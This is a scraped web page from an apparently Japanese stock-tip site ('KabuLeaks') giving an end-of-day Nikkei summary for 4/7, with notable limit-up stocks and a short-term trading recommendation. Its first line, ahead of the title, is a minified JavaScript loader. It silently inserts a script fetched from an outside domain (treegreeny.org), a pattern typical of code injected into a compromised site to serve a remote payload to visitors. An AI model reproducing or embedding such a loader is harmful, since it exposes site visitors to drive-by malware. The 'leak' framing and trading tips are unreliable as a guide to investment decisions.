;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【4/7 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【4/7 大引け】

本日の日経平均株価は44円高と8日ぶり反発。後場は為替相場が1ドル=108円台の後半まで円高が進行も内需関連株中心に買いが入り、後場寄りこそ一時は本日安値を更新もその後プラス圏に浮上。底堅い展開となった。業種別では、医薬品、石油石炭製品、鉱業が値上がり上位に。一方で、小売業、保険業、非鉄金属が値下がり上位となった。

個別では、第3四半期の営業利益8割増との報道を材料視の【1430】ファーストコーポレーション一時ストップ高の急伸となったほか、スマホゲーム新作『クリスタル オブ リユニオン』を配信開始の【3903】gumiが後場一段高、こちらも急伸。直近IPO銘柄の【3932】アカツキやリニア関連の一角【6236】NCホールディングスなどがストップ高。また、ゴールドマン・サックス証券では投資判断を新規に「買い」、目標株価を1550円として、コンビクション・リストに採用の【4912】ライオン。京大とIoT向けネットワーク仮想化ソリューションを開発した【4813】ACCESSなどが買い優勢となった。

日経平均8連敗は回避したが円高が一段と進行。内需株に買いが入りなんとかプラス圏は維持したものの、目先の底打ちした印象は薄い印象だ。明日は週末要因を意識され積極的な買いは期待できない状況になると思われ、引き続きそーせいのストップ高などから息を吹き返したバイオ関連や新興市場の上昇トレンドが崩れていない成長株中心に短期売買を推奨する。